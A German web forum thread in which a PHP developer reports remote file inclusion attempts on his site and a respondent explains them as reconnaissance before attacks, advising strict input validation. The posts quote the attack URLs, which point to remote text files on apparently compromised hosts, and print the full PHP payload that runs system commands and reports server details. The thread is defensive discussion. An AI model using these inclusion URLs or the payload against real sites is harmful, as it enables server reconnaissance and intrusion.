resolution: Gezielte Code-Injection Seitenaufrufe?

Hallo,

seit einigen Tagen erhält eine von mir entwickelte und betreute Website spezielle Code-Injection Aufrufe in der Form:

http://www.meine-website.tld/index.php?page=http://www.victor-international.com/images/text/safe1.txt???

Auch andere URLs wurden verwendet, der Inhalt der Datei ist jedoch bis auf eine Textausgabe identisch.
Bsp:
http://rsb.provincia.brescia.it/hosted/rovatogigli/sa.txt???

Normalerweise übergebe ich bei 'page' die Seite, welche angezeigt werden soll, sprich includiert wird. Natürlich überprüfe ich den übergebenen Parameter, ob dies wirklich einer Seite der Homepage entspricht.

Die safe1.txt und die sa.txt (man findet weitere Dateinamen wenn man danach g**gelt) dient offensichtlich der Beschaffung von Webserver-Informationen die evtl. für Angriffe auf den Webspace genutzt werden könnten.

Ist näheres bekannt, welchem Zweck dies dient bzw. woher diese Aufrufe kommen?
Kommt dies evtl. von einem Bot-Netzwerk?

Der Inhalt der Textdateien:

<?  
echo "BraT<br>";  
$alb = @php_uname();  
$alb2 = system(uptime);  
$alb3 = system(id);  
$alb4 = @getcwd();  
$alb5 = getenv("SERVER_SOFTWARE");  
$alb6 = phpversion();  
$alb7 = $_SERVER['SERVER_NAME'];  
$alb8 = gethostbyname($SERVER_ADDR);  
$alb9 = get_current_user();  
$os = @PHP_OS;  
echo "os: $os<br>";  
echo "uname -a: $alb<br>";  
echo "uptime: $alb2<br>";  
echo "id: $alb3<br>";  
echo "pwd: $alb4<br>";  
echo "user: $alb9<br>";  
echo "phpv: $alb6<br>";  
echo "SoftWare: $alb5<br>";  
echo "ServerName: $alb7<br>";  
echo "ServerAddr: $alb8<br>";  
echo "0wnW4y<br>";  
exit;  
?>
  1. Moin Moin!

    Normalerweise übergebe ich bei 'page' die Seite, welche angezeigt werden soll, sprich includiert wird. Natürlich überprüfe ich den übergebenen Parameter, ob dies wirklich einer Seite der Homepage entspricht.

    Löblich, aber leider nicht unbedingt üblich. Genau auf eine fehlende Prüfung zielen diese Seitenaufrufe ab. PHP hat ja leider die unangenehme Eigenschaft, ohne weiteres beliebige Resourcen auf anderen Servern als Programmcode ausführen zu können.

    Die safe1.txt und die sa.txt (man findet weitere Dateinamen wenn man danach g**gelt) dient offensichtlich der Beschaffung von Webserver-Informationen die evtl. für Angriffe auf den Webspace genutzt werden könnten.

    Exakt.

    Ist näheres bekannt, welchem Zweck dies dient bzw. woher diese Aufrufe kommen?

    Vorbereitung.

    Kommt dies evtl. von einem Bot-Netzwerk?

    Vielleicht.

    Der Inhalt der Textdateien:

    <?

    echo "BraT<br>";
    $alb = @php_uname();
    $alb2 = system(uptime);
    $alb3 = system(id);
    $alb4 = @getcwd();
    $alb5 = getenv("SERVER_SOFTWARE");
    $alb6 = phpversion();
    $alb7 = $_SERVER['SERVER_NAME'];
    $alb8 = gethostbyname($SERVER_ADDR);
    $alb9 = get_current_user();
    $os = @PHP_OS;
    echo "os: $os<br>";
    echo "uname -a: $alb<br>";
    echo "uptime: $alb2<br>";
    echo "id: $alb3<br>";
    echo "pwd: $alb4<br>";
    echo "user: $alb9<br>";
    echo "phpv: $alb6<br>";
    echo "SoftWare: $alb5<br>";
    echo "ServerName: $alb7<br>";
    echo "ServerAddr: $alb8<br>";
    echo "0wnW4y<br>";
    exit;
    ?>

      
    Umständlich, aber der Zweck ist ziemlich offensichtlich. Informationsbeschaffung. Wenn Du angreifbar bist und/oder Dein Server ausreichend attraktiv ist, werden irgendwann echte Angriffe basierend auf diesen Daten folgen.  
      
    Alexander
    
    -- 
    Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".
    
    1. Hallo!

      »» Normalerweise übergebe ich bei 'page' die Seite, welche angezeigt werden soll, sprich includiert wird. Natürlich überprüfe ich den übergebenen Parameter, ob dies wirklich einer Seite der Homepage entspricht.

      Löblich, aber leider nicht unbedingt üblich. Genau auf eine fehlende Prüfung zielen diese Seitenaufrufe ab. PHP hat ja leider die unangenehme Eigenschaft, ohne weiteres beliebige Resourcen auf anderen Servern als Programmcode ausführen zu können.

      Da es PHP einem so schön einfach macht, ist es wohl auch zur 'Volkssprache' geworden. Sicherlich nicht immer ein Vorteil, vor allem wenn ungeübte sich daran versuchen.
      Ich arbeite beruflich mit PHP und weiß wo Ecken und Kanten sind..

      »» Ist näheres bekannt, welchem Zweck dies dient bzw. woher diese Aufrufe kommen?

      Vorbereitung.

      Die Aufrufe stammen zumindest von einem Perl-Skript (HTTP_USER_AGENT = libwww-perl/5.76).
      Ich wundere mich nur über die Häufigkeit der Aufrufe - täglich mind. 1 mal.
      Auch die verschiedenen Orte der entsprechenden txt-Dateien sind komisch.
      Und warum diese 3 Fragezeichen (manchmal auch nur 2) hinter der URL?

      Ich werde mal versuchen den page-Parameter umzubenennen, wahrscheinlich wird auch nach solchen aufrufen gezielt gesucht.

      Meine versuche, an das Perl-Script heranzukommen blieben bisher ohne erfolg :/

      LG,
      resolution

      1. Moin Moin!

        Ich arbeite beruflich mit PHP und weiß wo Ecken und Kanten sind..

        Ohne Dich persönlich angreifen zu wollen: Nur weil jemand mit einer Sache sein Geld verdient, heißt es nicht, dass er gute Arbeit abliefert. Das kann man in meiner Neubauwohnung sehr schön sehen. :-( Und auch im PHP-Bereich gibt es dermaßen viele angreifbare Seiten von Leuten, die mit PHP ihr Geld verdienen, dass es einem die Tränen in die Augen treibt. Nicht, dass andere Sprachen grundsätzlich sicherer wären, aber PHP macht es eben sehr einfach, Fehler zu machen. Die große Verbreitung und die geringe Einstiegshürde machen es auch nicht besser. "Pubertierende Hauptschüler Programmieren" entbehrt ja nicht einer gewissen Wahrheit.

        Die Aufrufe stammen zumindest von einem Perl-Skript (HTTP_USER_AGENT = libwww-perl/5.76).

        Nicht unbedingt. Der User-Agent-Header ist genauso manipulierbar wie jeder andere Header.

        Ich wundere mich nur über die Häufigkeit der Aufrufe - täglich mind. 1 mal.

        Das würde ich als normales Hintergrundrauschen ansehen. Der Root-Server meines letzten Arbeitgebers hat pro Tag so um die 10 bis 50 automatisierte Angriffe auf den Webserver, typischerweise Versuche, IIS, phpMyAdmin und phpBB anzugreifen -- allesamt nicht vorhanden. Der SSH-Server hat in der gleichen Größenordnung Wörterbuchangriffe gesehen. Schade nur für die Angreifer, dass der SSH-Server root überhaupt nicht reinläßt, die wenigen befugten Accounts eben nicht admin, web, webmaster, student, test oder user heißen, und der SSH-Server grundsätzlich nur Leute reinläßt, die sich mit einem Zertifikat ausweisen können.

        Auch die verschiedenen Orte der entsprechenden txt-Dateien sind komisch.

        Wieso? Glaubst Du, Angreifer würden für ihre Angriffe ganz normal eine Domain und Webspace auf ihren eigenen Namen registrieren? So blöd ist wohl kaum jemand. Die txt-Resourcen sind auf allen möglichen und unmöglichen schon übernommenen Servern verteilt.

        Und warum diese 3 Fragezeichen (manchmal auch nur 2) hinter der URL?

        Schlampig gecoded, schlampig zusammengesammelte URLs.

        Ich werde mal versuchen den page-Parameter umzubenennen, wahrscheinlich wird auch nach solchen aufrufen gezielt gesucht.

        Vermutlich. Und vermutlich wird auch gelegentlich Deine Seite abgespidert, so dass das Umbenennen nur eine Weile hilft. Mach Deinen Code so sicher wie möglich, d.h. validiere ALLE Daten, die aus dem Netz kommen, und brich im Zweifel lieber mit 403, 404 oder 500 ab.

        Meine versuche, an das Perl-Script heranzukommen blieben bisher ohne erfolg :/

        Was versprichst Du Dir davon? Das Script wird garantiert immer wieder umgehackt, und nicht immer von Leuten, die sich damit auskennen. Ich denke, die überflüssigen Fragezeichen sind ein Artefakt eines Pfuschers, der irgendwann mal etwas am betreffenden Script geändert hat, ohne sich der Auswirkungen vollkommen bewußt zu sein.

        Alexander

        --
        Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".